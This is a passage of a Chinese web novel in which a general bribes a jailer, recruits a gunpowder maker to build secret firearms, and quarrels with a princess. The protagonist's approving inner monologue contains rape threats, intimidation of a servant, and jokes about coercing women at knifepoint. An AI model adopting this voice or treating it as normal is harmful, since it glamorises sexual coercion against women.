看到无动于衷的狱头,勃然大怒的香香郡主粉脸一寒,强忍着扑鼻的臭气,怒道:“怀远将军要人,你还不利利索索去办?”
“大人息怒!”
狱头满脸含笑,不温不火地说道:“释放人犯,要么是刑期已满,要么就得走流程。”
走流程?
一个连官都算不上的狱头,居然在香香郡主和怀远将军面前,敢如此笃定?
这就让香香郡主受不了了。
“大胆!”
香香郡主瞬间暴怒,巴不得即刻离开这鬼地方,眉头一皱又道:“周敬堂都不敢对我等如此说话,你一个小小的狱头,眼里还有王法?”
“二位大人明鉴!”
狱头还是如老狗般笃定,拱手一礼,缓缓说道:“林末生刑期还有一年零七个月,若要解押释放,那得有人上诉,待周大人走过再审的流程,判他无罪,才可办解押释放事宜。”
“这,也是朝廷律法所定。”
狱头半眯着眼睛,又是一句补充。
“这……”
这下,碰了个软钉子,该高高在上香香郡主傻眼了。
走个流程,极其简单。
既然叶十三要的人,相信周敬堂也不敢压着不给。
一个囚犯,又不是掏他周敬堂的银子。
这得二人随便弄个诉状,周敬堂做个过堂再审的样子,然后改判林末生无罪就可以了的。
“我们……”
香香郡主目光看向叶十三。
叶十三一言没发,冷冷望着狱头片刻,突然伸手入怀。
“拿着,行个方便!”
望着叶十三递过来的一锭十两的银子,狱头顿时眉开眼笑。
“既然大人如此着急,为了不耽误大人的公务,那么小的斗胆特事特办,小的这就去签解押文书。”
从叶十三手里接了银子的狱头,向香香郡主和叶十三二人躬身一礼,然后道:“还请二位大人外边等候片刻,小的这就安排。”
“辛苦了!”
叶十三冷声一句,转身就向外走去。
“这是敲诈勒索,简直胆大包天!”
万没想到,一个狱头,居然敢勒索叶十三和香香郡主。
为此气愤不已的香香郡主,一边发着牢骚,一边又向叶十三说道:“一个蝼蚁般的狱头,吃了豹子胆了,敢当面勒索你我?”
出了通道,空气才好了点。
叶十点转过头来,笑道:“阎王好见,小鬼难缠,这就是世道。”
这下,香香郡主不淡定了。
她万没想到,被一个镇衙门牢房的狱头,从容不迫地敲诈了一把。
这口气,如何咽得下去?
这脸面,怎能丢在这种地方?
“不行!”
怒气冲天的香香郡主,咬着牙说道:“吃拿卡要,如此恶行,本郡主真定要让周敬堂好好处罚处罚这个恶吏不可!”
“行了!”
叶十三撇撇嘴,道:“先办事,完了再从周敬堂身上,百倍、千倍地弄回来不就是了?”
“叔可忍,婶不可忍!”
香香郡主愤愤一句,这才觉得胸腔中略微敞亮了一些。
“见到了?”
刚到外面的签房,周敬堂张口就问。
“哼!”
对此一肚子气的香香郡主,鼻孔冷哼一声,傲然转过脸去,让周敬堂讨了个没趣。
倒是叶十三微微一笑,拱手道:“见是见到了,还请周大人行个方便,将此人交给本将好了。”
“哦!”
周敬堂一怔,随即又道:“这事简单,下官签个解押手续而已,即刻就能办的事,都是自己人,叶将军不必言谢。”
尼玛!
谁和你是自己人?
把你这老东西当自己人,那可是要付出代价的。
“那就有劳周大人了!”
叶十三谦逊有礼,对周敬堂拱了拱手。
就在这时候,狱头拿着一份文书从通道出来。
后面两名狱卒,从左右架着衣衫褴褛的林老幺,侧着身子跟在狱头身后走向外面。
随着距离的拉近,香香郡主捂着鼻子,下意识地后退了几步。
“敢问叶将军,就这么个人,您要他作甚?”
周敬堂向狱头身后投去嫌弃的一瞥,又把目光看向一脸沉着的叶十三。
“哦!”
叶十三挠挠头,讪笑道:“是这样,防区死气沉沉,本将想弄些烟火放放,好让大伙除除晦气,听说此人会打铁花,将就着用用而已。”
此言一出,周敬堂不免哑然失笑。
“还是叶将军考虑周到,这晦气缠身,是该除除的时候了。”
到底是烽燧兵出身,也就这些作为和见识。
周敬堂肚里一阵冷笑,一语双关,然后招招手,从狱头手上拿过解押文书,看都没看就签了一行字,然后递向身边兵卒,道:“速去让师爷落印。”
望着低垂着脑袋的林老幺,叶十三抬头望了望外面,向候在签房门口的马成说道:“找件东西蒙住他的头脸,找家澡堂子给洗洗干净,再换一身衣服,带到馆子见我。”
“遵命!”
马成应声,然后从马鞍下抽出一条破布,把林老幺乱蓬蓬的脑袋直裹了个严实,这才让两个卫兵,从左右架着林老幺去找澡堂。
……
从衙门出来,叶十三的身后多了四辆马车。
这一趟,叶十三没有白跑。
后衙院子中的两棵老梨树,也被叶十三叫人伐了,截成四尺长的木桩,装了满满一车。
另外三辆马车,直接从衙门的库房,拉了三车用来炼钢的铁料。
用叶十三的话说,这梨木烧火硬朗,用来烧炼铁水打铁花用。
肚里怒气未消的香香郡主,气呼呼地驳回了周敬堂留饭的请求,跟着叶十三就出了官衙。
去馆子的路上,香香郡主才开口说话。
“让蒙着那人的脑袋,是怕他认路逃跑?”
面对香香郡主的如此一问,叶十三差点笑出个鼻涕泡来。
一瞥香香郡主冷着的一张俏脸,叶十三笑道:“久不见天日的人,眼睛无法在外面视物,眼下四处白雪一片,会耀瞎他的眼睛,让他适应一会,才可拿掉蒙着眼睛的东西。”
这个解释,香香郡主是懂了。
但新的问题,又在香香郡主的脑子里一闪。
“急匆匆来,还让别人勒索,就为了这么个玩意儿?”
百思不得其解的香香郡主,狠剜叶十三一眼,然后气呼呼地走在前面。
“南来顺”的招牌,对卫兵们来说是具有相当的诱惑。
这些新丁上次路过通天驿镇,就被带到这里大吃一顿。
他们从叶十三的脸上,看得出叶十三今天是特别的高兴,这对他们来说,就有了打牙祭的绝好机会。
第185章 又下馆子
“贵客啊!”
馆子掌柜一见叶十三,眼睛即刻笑成了一条缝。
“小的见过大人。”
一打照面,掌柜双膝跪地就拜。
“起来吧!”
叶十三摆摆手,没等掌柜问话,直接说道:“炖只鸡,炒几样可口的素菜,再弄只羊照旧做。”
“大人,白面馒头还要吗?”
掌柜哈着腰,生怕叶十三忘了白面馒头。
“这还用问?”
叶十三眼睛一瞪,手中的马鞭,差点儿就照着掌柜的脖子甩过去。
见是还有女客,掌柜的哈着腰又谄媚道:“夫人喜欢素菜,那小的就再弄几个凉盘得了。”
“啪!”
话音刚落,叶十三的马鞭还在手中握着,香香郡主手里的马鞭却是甩了出去。
“夫人息怒,小的……”
“还敢乱叫?”
柳眉倒竖的香香郡主,手中的马鞭又扬了起来。
“行了!”
叶十点摆摆手,示意掌柜赶快去准备,然后倒背着手,大踏步就进了馆子的一处雅间。
“哼!”
香香郡主悻悻地转过身来,边走边骂:“瞎了狗眼的东西,长眼睛是出气用的?”
到了雅间,香香郡主瞅着叶十三,突然说道:“难道,我是长得像出了阁的妇人家?”
“行了!”
叶十三摆摆手,指指椅子,这才说道:“管他叫你什么?无非就是个称呼而已,和一个开店的买卖人,计较这些琐碎干嘛?”
“我就不让你占这便宜!”
香香郡主美眸一翻,狠剜叶十三一眼,愠怒道:“我一个还未出阁的黄花大闺女,被人当你的婆娘称呼,美得你!”
“我才冤!”
叶十三嘴一撇,无奈说道:“我招谁惹谁了?被一个买卖人,把一个母老虎当成我的婆娘,亏死我了都。”
“你……”
香香郡主这下可不干了。
“你比那个有眼无珠的混账东西还要可恶,这饭,我不吃了。”
说着,香香郡主抓起丢在一旁的马鞭,转身就往外走。
这刚一掀帘子,差点又和外面要进来的人撞个满怀。
“瞎了?”
香香勃然大怒,手中的马鞭刚要抽下去,这才看到,来的是马成。
“郡主,您这是?”
马成狐疑地一瞥雅间,机灵地往旁边一躲。
香香郡主把目光,又投向马成身后的两个卫兵,还有浑身上下,已经焕然一新的林老幺。
此时的林老幺,头发干净利落,用一根束带扎着。
之前见到时如枯草一样蓬乱的胡须,也被修剪成了一把短须。
虽然弓着腰,但那双躲躲闪闪的眼睛,还是透着一股特有的精明。
看到香香郡主盯着林老幺看个不停,马成沉声吼道:“还不快拜见郡主?”
“谢郡主救命之恩,小的林末生,对郡主的大恩永世不忘。”
林老幺“扑通”一声跪下,两手平伸趴在地上,额头“咚咚咚”连磕三个响头。
“不要拜错了庙门,救你的,可是里面的那位!”
香香郡主马鞭一指雅间,余怒未消的就是一句。
“不会拜错庙门,郡主和那位将军,都是人间菩萨,都是好人,都是我林末生的再造父母。”
林老幺妙语连珠,一个劲地趴地上道谢。
这一通道谢下来,香香郡主肚子里的气,似乎也消掉了一半。
好奇心之下,香香郡主又折回了雅间,看看叶十三到底要让这个人犯做何等事情?
从地上爬起来的林老幺,被马成带进了雅间。
“小的林末生,叩谢大人的救命之恩。”
“咚咚咚!”
林老幺的额头,此时已经被磕出了几个大包。
“救命之恩嘛!”
叶十三斜着眼睛,一瞥林老幺,缓缓又道:“先别急着谢,老子能把你捞出来,也能重新塞进去,还谈不上什么救命之恩!”
此言一出,林老幺浑身一抖。
“大人尽管吩咐,小的就是为大人赴汤蹈火,也在所不辞。”
林老幺抬起头来,信誓旦旦向叶十三保证。
叶十三面上一冷,目光如炬,紧盯着林老幺的脸,沉声道:“会造火药不?”
火药?
林老幺面颊一抽,脱口道:“造火药,大人可是找对人了,小的家传手艺,就是制造各样的火药。”
“好!”
叶十三眉头一展,淡淡道:“看来,这一趟老子没白跑。”
说完,叶十三摆摆手,向马成道:“带下去,好好吃顿饭,让他列个单子,需要何物?即刻采购,不要给老子省银子。”
待马成带着林老幺出了雅间,香香郡主气呼呼地又坐了下来。
“你说你这人,不就是些烟火吗?若是需要,我让内地送来一些就可,何必如此费事从大狱中捞个囚犯出来?”
你懂个俅?
老子想干什么?
就你这傻白甜,能看得出来才怪!
若是元蒙和大夏全面交战?
千里北防线,说是十万大军,实际兵数有九万可战之兵就不错了。
你可知道?
元蒙鞑子,那可是全民皆兵。
若是战事一起,与我大夏对抗的兵数何止十万数?
就一对一来讲,我大夏兵将也未必能赢。
元蒙凑出二十万兵马的大军,那可是不在话下的。
就近几年,元蒙吞并了周边几个部族,兵马实力岂是我大夏能比的?
再说,就大夏朝廷,派系林立。
北境不安,南蛮又宠宠欲动,加上各地灾区饥民不断揭竿而起,朝廷哪有财力和兵马支援北漠防线?
老子再是能打能杀,可也敌不住元蒙大军的合力围剿。
你个头发长,见识短的傻白甜。
懂什么?
别净惹老子不高兴,老子光脚的不怕穿鞋的。
惹毛了老子,今晚就让你一线天变血窟窿,让你真正的成个妇人好了。
老子管你出阁没出阁?
破你这样的生瓜,老子都不带哄的,霸王硬上弓知道不?
肚里骂了半天,叶十三这才懒懒地看向香香郡主,淡淡说道:“眼下防区死了那么多人,晦气不少,放放焰火,也好图个吉利。”
“那买烟火放多省事?”
香香郡主狠剜叶十三一眼,然后又扭过头去。
“买烟火?”
叶十三摆摆手,道:“内地距离边城,千里之遥,为了几个烟花火竹,那得费多少时日?”
此言一出,香香郡主想想也是。
就是八百里急送,到了内地衙门,衙门派人采购,又运送到边城。
这一来二去,还不得个把月的时间?
眼下大战在即,就怕八百里急送还没到内地,元蒙鞑子的大军,已经向大夏境内杀了过来。
“哼!”
无话可说的香香郡主,鼻孔又是冷哼一声,扯着嗓子就喊马成。
“去后厨看看,要是再不上饭菜,给我拆了这破馆子。”
草!
这傻白甜,脾气可不小。
这话,要是让掌柜的听见了,保不准吓得就直接拉锅台下了。
第186章 该老子放大招了
待回到屯田村,夜已经深了。
叶十三让马成从签房拿来纸笔,然后一头扎进主房隔壁的屋子。
半夜,何秀儿出屋解手,发现那间屋子的油灯还亮着。
思忖再三,何秀儿还是转身回了自己和紫伶住的屋子。
那间正屋,已经留给了香香郡主。
……
大早,两名壮妇把洗脸水还没烧热,叶十三已经在屋里喊叫何秀儿。
“这混蛋疯了!”
香香郡主把脑袋往被窝里一缩,嘟囔一句就蒙住了脑袋。
“将军,您起了?”
明知道叶十三一夜没睡,但来到门口的何秀儿,还是当做什么都不知道。
“让马成把林老幺带过来!”
隔着窗户,叶十三对外面的何秀儿就是一句。
“遵命!”
何秀儿刚离开,紫伶就端着洗漱的热水过来。
等低着头的紫伶,把一盆热水放在屋里的凳子上,叶十三从怀里摸出一锭银子。
“给,拿着!”
抬起头来的紫伶,一看见递道眼前的十两银子,霎时就急得双手一阵乱摆。
“将军不可,侍奉将军,那是奴婢的福气。”
草!
你这妮子,侍奉郡主是你分内的事,何时成了侍奉老子的了?
“给你拿着,你就拿着!”
叶十三抓过紫伶的一只手,把那锭十两的银子,直接扣在紫伶的手心。
“赏你的,上次报讯,本将军说过要嘉奖你的。”
说着,叶十三的一只大手,把紫伶被塞进银子的那只手往一起一握。
明显感觉到,紫伶浑身抖得厉害。
“让你拿着,你就拿着,表现好了,日后还有嘉奖。”
话音刚落,紫伶的原本紧张得煞白的一张脸,顿时就红到了耳根。
胸部一阵剧烈的起伏后,紫伶转身,逃命一样离开了叶十三的屋子。
望着门帘下一扭就消失不见的那只肥硕的屁股,叶十三核桃一样的喉结,上下一阵急剧的蠕动。
顺着老子点!
要是像月瑶那样不开眼,老子的军棍,保准让你的屁股开花不可。
就在这时,马成带着林老幺匆匆过来后院。
“小的给大人请安,林老幺来了。”
“你,退下!”
叶十三摆摆手,把目光投向马成身后低头站着的林老幺。
“小的见过将军。”
昨天在镇上饭馆吃饭时,林老幺才知道,香香郡主和叶十三的具体身份。
“起来说话,先看看这个!”
叶十三一指桌上的一张图纸,然后自行在一旁漱口洗脸。
待叶十三洗漱完毕,林老幺手里捧着图纸,目光怯怯地看向叶十三。
“将军,要是小的没看错的话,这图,应该不是烟花爆竹的基座,看此物的内部构造,倒像是用火药催发东西出去?”
“哈哈哈……”
叶十三突然仰头一阵大笑,等笑够了,这才把视线重新转移到林老幺脸上。
“你没看错图纸,本将更没看错你。”
说完,叶十三大步走到桌旁,从桌上拿起一粒揉成团的纸球。
叶十三把纸球撕开成几份,然后把碎纸,在手心里又揉搓成更小的纸球。
“你可看好了,就当这些纸球是同等大小的铁球,从这里灌进去,然后火药燃烧时,把这些铁球又喷射出来。”
说完,叶十三目光看向双眼紧盯着图纸的林老幺。
“记住,这些铁球,被喷射出去的距离,至少要百步开外,而且,还要有足够的穿透力才行。”
叶十三又是补充一句。
林老幺目不转睛,紧盯着放在桌上的图纸片刻,缓缓说道:“此物,和烟火一个道理,但和烟火,又不是一个作用。”
叶十三暗暗颔首,知道自己已经找对了人。
“你要做的,就是制造最有力的火药,其它的,本将交给别人去做。”
此言一出,林老幺抬起头来,突然说道:“细料已经采购了,木炭就地可烧,只是硫磺还得费些劲才是。”
叶十三摆摆手,笑道:“这个,就不用你操心了,本将派专人去硫磺谷采挖,最迟明早就到你手里。”
“好,那小的立刻就去准备其它,有些物料,小的还得精算出相应的配比,这配比不同,火药的力量就有所不同。”
林老幺不但一脸自信,而且兴奋得两眼放光。
望着林老幺离开的背影,叶十三笑了,笑得有些诡异。
该老子放大招了!
凭人力和牺牲无数兵士的性命赢得的战争,那不是英雄,而是兵士的灾难。
老子要让你们这些鸟人都看看?
看看什么叫武器?
什么才是战争中收割敌人生命的国之重器?
要不是条件限制,老子一按按钮,就让一个镇子变成一堆废墟。
好了!
就这,都能亮瞎你们的这些鸟人的狗眼。
到时候,别说什么十万,二十万大军。
就老子手中握着五千精兵,足可横扫天下。
兵不在多,在精。
这道理,都懂,但实质上,你们懂的那些,在老子眼里就不是同一个频道的事儿。
想到这里,叶十三又喊何秀儿过来。
“去,把老铁匠给我叫过来。”
“遵命!”
看到何秀儿匆匆离开,叶十三又喊来马成。
“之前改造弓弩的那几个木匠,你即刻找他们过来,不得有误,快去!”
马成点头,转身就飞奔而去。
不一刻,所点到之人,都纷纷来到铁匠铺后院。
叶十三一瞥众人,然后目光看向马成,又道:“告诉苏哲,签房大院通向这边的路口,一律把守好了,未经我的允许,就是驻军也不得随意出入。”
“大人,这是要戒严?”
“嗯!”
叶十三点点头,又道:“你带卫兵,执勤这院周围,铁匠铺范围任何人不得滞留。”
然后,叶十三目光看向王选和刘四,撇嘴道:“你二人搬去签房大院,和值守人员挤挤得了。”
“大人,可小的们是听差郡主……”
刘四哭丧着脸,一脸的不情愿。
“郡主这边,需要任何东西,我叫人通知你俩就是。”
一句话,堵死了刘四要说的。
“还不走?”
看到刘四和王选磨磨蹭蹭,马成脸色一变,就要向这俩货动手的样子。
“还有,你俩带四辆马车,拿我的手谕,先跑一趟芦河湾村的何家大院,运一些粮食过来。”
叶十三打发二人,先去一趟何家大院。
待二人走后,这才目光一扫老铁匠,沉声道:“你,进屋。”进了屋子,叶十三直接开口:“那些铁料,抓紧炼制精钢。”
“这么急?”
老铁匠眉头紧锁,点点头又道:“人手都齐了,眼下就能开工。”
“好!”
叶十三指着桌上一张上面绘着大大小小零碎的图纸,沉声又道:“炼好了精钢,想办法刻模,依照这个尺寸,先铸造一批铁管出来。”
“记住了,铸件不得有任何的砂眼和裂缝,且薄厚均匀。”
叶十三又是一句,特别强调了要领。
“大人,这管子是不难铸造,但这玩意大人要作何用途?”
老铁匠双手捧起图纸,看了个一头雾水。
“这个,你就不用操心了,只管做好规格。”
叶十笑了,随即又道:“开工期间,任何人都不得离开警戒区半步,所需之物自有人采办。”
“小的明白!”
老铁匠神色凝重起来。
作为军户,他知道,这里的任何操作,都属于军事机密不得外泄。
第187章 大天白日的,搞什么鬼?
铁匠走后,该到木匠了。
“都看好了!”
叶十三指着院子里的一堆梨木,在桌上又摊开一张图纸。
“依照这个尺寸,先做一批出来。”
一名木匠眼睛盯着图纸,问道:“大人,这又要改进弓弩不成?”
这木匠,曾经在营房大院参与过弓弩的改造。
“不是改造,而是制造。”
叶十三指着院子里的那堆梨木,又道:“这些数量还远远不够,派几个人出去,村里凡是够碗口粗的梨木,尽数砍伐回来待用。”
……
“吵吵吵,都吵了一大早了,还不歇停?”
睡眼惺忪的香香郡主,从正屋探出头来,冲着院中的叶十三嚷道:“一样的饭食吃了,就你精神头最大。”
“郡主醒了?”
叶十三似笑非笑,望着香香郡主就是一句。
“这么吵,为还能睡得着?”
狠剜叶十三一眼,撇嘴又道:“一大早,不是铁匠就是木匠,你这是要盖楼,还是要修筑工事?”
“郡主说笑话了!”
叶十三笑道:“我倒是想,但这天寒地冻,如何能盖屋动工修工事?”
“那你瞎折腾个屁!”
来边城没多少日子,香香郡主学得最快的,就是出口成章的粗话。
给香香郡主端来了洗漱水的紫伶,看到叶十三后,把头垂得更低了。
“郡主,您该洗漱了?”
紫伶站着一旁,低声提醒一句。
香香郡主抬头看了看天色,惊讶道:“这,都快午时了?”
“不是快,而是已经午时了。”
叶十三一撇嘴,丢下香香郡主,转身回屋就继续摆弄那些图纸。
只有身穿革甲,腰悬佩刀的何秀儿,忙出忙进的到处传话。
洗漱完毕的香香郡主,一瞥何秀儿的背影,把目光投向身边的紫伶,道:“何秀儿成军伍了,你反正闲着也是闲着,叶将军的起居,你得顺带操心好了,做饭的事,有镇里来的那两位就足够了。”
“叶将军是个男的,奴婢侍奉了怕是有些不方便?”
紫伶面上一红,声音小的连自己都听不清。
可香香郡主似乎看穿了紫伶的顾虑,笑道:“这有何不方便的?人家在京都家里,都有成群的侍婢伺候,男女之嫌,对这些子弟早是习以为常了。”
二人的对话,一字不落地被叶十三听到耳中。
我?
在京都的时候,有成群的侍婢伺候起居?
叶十三明白了,前身这哥们,还真是来自豪门望族。
怪不得,他动不动就有亲近这些侍婢的冲动。
原来,前身那哥们的残魂,早就耐不住这种苦闷了。
看来,自己在前世现代撩妹的那些小伎俩,在古代的豪门子弟面前,根本就不值一哂。
你自以为撩妹泡妞的手段高明!
恰恰人家这些子弟,根本用不着为女人费心思的,身边信手拈来的难道不香吗?
在前世的现代,只有渣男和屌丝男才撩妹,有实力的男人,身边从来就不缺女人。
这香香郡主,看来对他的过往,那是相当的熟悉了?
行呀哥们!
之前还小看你这怂货了。
今后,要是身边哪个妞被老子揩油了,就当是你阴魂不散,老子替你把这锅给背了。
就在叶十三一阵心猿意马,想入非非之时,隔壁正屋的说话,又清晰地传了过来。
“可是郡主,奴婢怕!”
“有何可怕,难道他会吃了你不成?”
“可是奴婢……”
“可是什么?眼下大战在即,这日子苦焦,端茶送水捶腿敲背,不就是你们这些侍婢们干的活吗?”
“可奴婢是郡主您的……”
“谁的都一样,就怪那混蛋弄死了月瑶,不然,分他一个侍婢多好?”
“奴婢遵命!”
“这不就行了!本来何秀儿侍奉他最好不过了,可这女人一心要为他的男人报仇,死活要入伍从军。”
香香郡主继续唠叨着,突然像是又想起什么?
“对了,吵吵嚷嚷的一早上,招那么多人,究竟是何事如此动静?”
紫伶抬头,怯生生说道:“具体的奴婢也不知道,苏将军他们,已经把这一片列为禁区,任何人不得自由出入。”
“也好!”
香香郡主点点头,道:“难得清净点,不然乱哄哄的,真叫人受不了。”
“有饭吗?”
说完,香香郡主一摸肚子,这才觉得饿了。
紫伶神情一松,急道:“饭菜早都好了的,就等郡主您洗漱完毕用膳了。”
“那就好,喊他过来一起用膳,一个人吃,没滋没味。”
紫伶得令,赶忙先去端饭食。
好在灶间和正屋是连着的,这样就方便多了。
正在叶十三铺开了纸,爬在桌上又描又画的时候,紫伶轻手轻脚,就像只猫一样来到屋里。
“将军,郡主请您一起用膳!”
看到被扔了一地的纸团,紫伶赶快蹲了下来,把扔得满地的纸团一个个捡了起来。
“扔火盆烧了!”
叶十三一瞥紫伶,冷声让把那些揉成团的废纸给烧了。
“这多可惜呀!”
紫伶已经打开了纸团,正准备一张张铺平了收拾起来。
这含棉的纸张,价格可是不低,解手后作擦拭用,该有多好。
“聋了?”
看到紫伶并没有烧掉那些纸团的意思,叶十三的脸,骤然就变得冷漠起来。
“烧了,一张都不能流出去。”
在叶十三的怒目注视下,低着头的紫伶,一脸委屈地把手中捧着的纸团,一个个放进牛粪火燃着的火盆里给烧了。
“这就对了!”
望着火盆里瞬间腾起的火焰,叶十三的脸色,这才缓和了下来。
“记住了,我桌上的东西,未经允许,是不能乱动的。”
叶十三指了指桌上已经被画得乌七八糟的纸张,一脸严肃地盯着紫伶低垂着的脑袋。
“奴婢,记住了。”
说完,紫伶就像逃命一样,后退三步,转身就奔出了叶十三的屋子。
“慌里慌张,狼撵你了?”
刚奔出屋子的紫伶,差一点就和刚迈出正屋的香香郡主撞个满怀。
这左一顿呵斥,右一声呵斥,紫伶“扑通”一声当即就跪了。
“怎么了你?”
被紫伶的突然跪倒,吓了一跳的香香郡主,狐疑地望向叶十三的屋门。
“大天白日的,搞什么鬼?”
斜瞥紫伶一眼,香香郡主蹑手蹑脚,顺着屋墙就摸向叶十三的屋门。
第188章 若敢再有下次,定不轻饶
“噗嗤!”
悄声走到近前,香香郡主忍不住笑了。
“你这画的,是拐杖还是扁担啊?”
望着桌上图纸上的图形,香香郡主禁不住笑得花枝乱颤。
就这一笑,胸口就像是两只大白兔在跳。
没穿战甲的香香郡主,被柔软的缎面棉袍,勾勒得凹凸毕现。
“别闹!”
叶十三一撇嘴,继续用心地涂抹起来。
“看来!”
香香郡主直起腰来,不屑地一瞥叶十三手中的笔,轻蔑说道:“这圣贤书,真让你读到狗肚子里去了,好好的一张纸,看看,都糟蹋成啥样了?”
说着,香香郡主突然伸手,就去撕桌上铺开的纸。
“嗨嗨!”
叶十三一急,手中的毛笔,直接就在香香郡主粉白的俏脸上抹了一下。
“你……”
这一下,香香郡主可不干了!
急忙把手一抽,一摸自己的脸。
“哇……你找死……”
望着从自己脸上抹下来的一手黑墨,蹦起来骂道:“反了你,简直无法无天了,好心喊你用膳,你倒给本郡主毁容了你!”
“行了!”
叶十三伸手先把桌上的图纸拿开,撇嘴道:“洗洗不就干净了?”
“要洗,那也是你给本郡主洗!”
说着,趁叶十三不备,香香郡主染了墨的那只手,就在叶十三脸上抹了一把。
“嘻嘻,让你毁我容!”
香香郡主一袭得手,往后跳开一步,偏着脑袋得意地望着叶十三。
“你纯粹是闲得蛋疼。”
叶十三嘟囔一句,突然想起来什么?
“走,先吃饭,完了给你个任务。”
叶十三即刻又想到另外一件事,转身就往正屋走。
到了正屋,桌上已经摆好了饭菜。
“快说,何等任务?”
香香郡主一把从叶十三手里夺走筷子,大有不说事情不给饭吃的架势。
“没力气说,等吃饱了再看。”
叶十三狠瞪香香郡主一眼。
没筷子就没筷子,直接用手抓起一块烙饼就往嘴里送。
香香郡主把叶十三的筷子,“叭”一下拍在桌上,撇嘴道:“老是一副饿死鬼转世的样子,这辈子就像没吃够似的。”
面对香香郡主的奚落,叶十三嘴里嚼着饼子,含糊不清地说道:“这辈子没个够的事多了,提前警告你,可别惹急了我,不然,准叫你好看。”“还有何事没够?”
香香郡主一副打破砂锅问到底的架势,一把从叶十三面前抢过装着烙饼的盘子,放在自己面前用两只手捂着。
“女人没够,这鬼地方,一家青楼都没有。”
“大胆,无耻,下流……”
这下,香香郡主彻底是恼了。
“噌”一下站了起来,指着叶十三的鼻尖,吼道:“老实交代,免得本郡主大刑伺候,你在防务期间,是不是经常跑镇上的青楼?”
“郡主明鉴啊!”
叶十三装出一副惊慌失措的样子,苦哈哈说道:“就那份饷银,还常被拖欠,末将哪有钱去找窑姐儿寻乐啊!”
“那你,得借我点银子?”
说着,叶十三向香香郡主面前一伸手。
“呸!”
香香郡主刚擦洗干净的粉脸,霎时就变得煞白,怒目吼道:“饷银才有几两?你一坑别人就是几万两银子到手,养多少窑姐儿还养不起?”
“郡主英明!”
叶十三一怔,从香香郡主面前收回了手,恍然大悟道:“谢郡主提醒,末将如何就没想到这点?咱是有银子啊!别说是包养几个窑姐儿,就是把镇上和郡城的青楼都买下来,那也不是多难的事啊!”
“再说,就是银子不够,咱还可以抢啊!刀按在脖子上,哪个窑姐儿她敢不从?”
叶十三一脸得意,接着又补充了一句。
“嘿!”
这一下,香香郡主蹦得更高了,直冲了过来骂道:“叫你养,叫你包,叫你买青楼!”
骂着的同时,一只白嫩的巴掌,就抽向叶十三的脸。
这次,叶十三早有防备。
没等香香郡主的那只巴掌甩到他的脸上,就被他一把握住手腕。
一握,一拉之下,香香郡主一个趔趄就倒在叶十三怀里。
“你,放开!”
香香郡主方才被气得煞白的一张脸,霎时又红到了耳根,用另一只手拧掐着叶十三的胳膊,羞愤道:“搂搂抱抱,成何体统?”
叶十三大嘴一咧,坏笑道:“我还就搂了,我还就抱了,谁奈我何?”
说着,把头向下一低,然后把半边脸,对着香香郡主的脸蛋上就是一顿猛蹭。
“呜呜……呀呀……”
香香郡主一阵窒息,随即鼻孔的气息也粗重起来,吹得叶十三的脸上一阵痒痒。
这一通疯狂的猛蹭,不但把自己脸上,还没来得及清洗的墨迹,直接蹭到了香香郡主那张白净的脸上。
而香香郡主红艳欲滴的嘴唇,却在叶十三的脸上,留下了一抹红印。
黑的墨,红的唇印,霎时就把叶十三蹭成了个花脸猫。
这一通猛蹭,羞恼之下,香香郡主用力一侧头,顺势一口咬了下去。
“嘶……”
叶十三倒吸一口凉气,吃疼之下松开了香香郡主。
“哈哈哈……”
顾不得疼痛的叶十三,突然大笑起来。
香香郡主被他笑得更加羞恼,用力地一挣扎,然后就跳开一步之外。
“混蛋,无赖,看本郡主如何收拾你!”香香郡主咬牙切齿地骂着。
叶十三却不以为然,揉了揉挨了一口的肩头,又上前一步,道:“你还有气了?”
香香郡主警惕地又退了两步,气呼呼地整理着自己的衣服,眼睛里仿佛能喷出火来。“不要脸,本郡主定不会轻饶你。”
“我还真就不要脸了,你咬啊,掐啊!”
叶十三一脸无赖相,活像街头的泼皮二流子。
“扑哧!”
突然,香香郡主看到叶十三的脸,忍不住就弯腰大笑起来。
没笑几声,但马上又板起脸。“这次就暂且饶过你,若再有下次,定不轻饶。”
“行了!”
叶十三一手揉着肩头,一手抹了一把自己的脸,走到门后拿起一条帕子,蘸了水后把脸擦了个干净。
“吃饭,完了有正事谈。”
叶十三瓮声一句,然后自行坐了,抓起筷子就大吃起来。
门口候着的紫伶,面对屋里的情景,吓得大气都不敢出。
她看得出来,叶十三这个浑人,那可是任何事都能干出来的。
就连香香郡主,他都敢揩油。
何况她一个奴婢,在已经有了将军身份的这个男人面前,还不是人家砧板上的肉?
第189章 选拔卫兵
“没汤吗?”
看到叶十三低着头狼吞虎咽,
香香郡主眉头一皱,向着门外就喊。
这一喊,吓得紫伶猛然一惊。
“有,有的。”
汤盆就被紫伶端在手里,由于方才这两人在屋里闹腾,不敢进屋的紫伶只好端着汤盆在门口候着。
“汤来了!”
紫伶应声进屋,小心翼翼地把汤盆放在桌上。
“呀!”
刚喝了一口汤,香香郡主就怒道:“汤如何是凉的?”
“奴婢这就去热,汤晾的时间长了……”
紫伶面上一红,心里一惊,赶忙上前端起汤盆就往里间走。
正屋里间的灶,自从叶十三们住进后院以来,怕影响香香郡主歇息,已经不怎么用了。
“行了!”
叶十三摆摆手,道:“不就一口汤么,凉就凉了,又没结冰,喝就喝了。”
“可我……”
香香郡主粉脸一红,愠怒道:“人家身上不干净,见不得凉的东西。”
“喝热茶不就得了。”
叶十三懒得再听那些理由,直接端起盆子放在嘴边,憋住了劲一连喝了三大口,一盆汤已经快要见底。
“奴婢这就烧茶。”
紫伶就像得了赦令一样,赶快把茶壶放在墙角的火盆上烧了起来。
“秀儿受委屈了,自我们来了,她就胡凑合着住了。”
叶十三放下盆子,感叹了一句。
“秀儿秀儿,你眼里心里,只有那个何秀儿?”
香香郡主气呼呼把筷子往桌上一拍,嘟囔道:“不吃了,气都气饱了。”
叶十三无奈地摇摇头,说道:“郡主莫要耍小孩子脾气,这何秀儿也是可怜之人。咱们在这儿住着,本就给她添了不少麻烦。”
香香郡主哼了一声,背过身去不再说话。
这时,紫伶已经把茶烧好,端了过来。
“郡主,茶烧好了,您消消气。”紫伶把茶只斟了一碗,往香香郡主面前一放。
香香郡主却不领情,“拿走拿走,本郡主现在不想喝。”
紫伶有些不知所措,目光闪烁看向叶十三。
叶十三斜瞥一眼桌上茶碗,撇嘴道:“喝了,既然渴了,喝茶也是一样,饭后有要紧事。”
“你的要紧事,和本郡主有何关系?”
香香郡主张口一句就怼了过来。
过了一会儿,她缓缓转过身来,白眼往上一翻,一瞥叶十三说道:“你说,你是不是觉得本郡主很不讲理?”
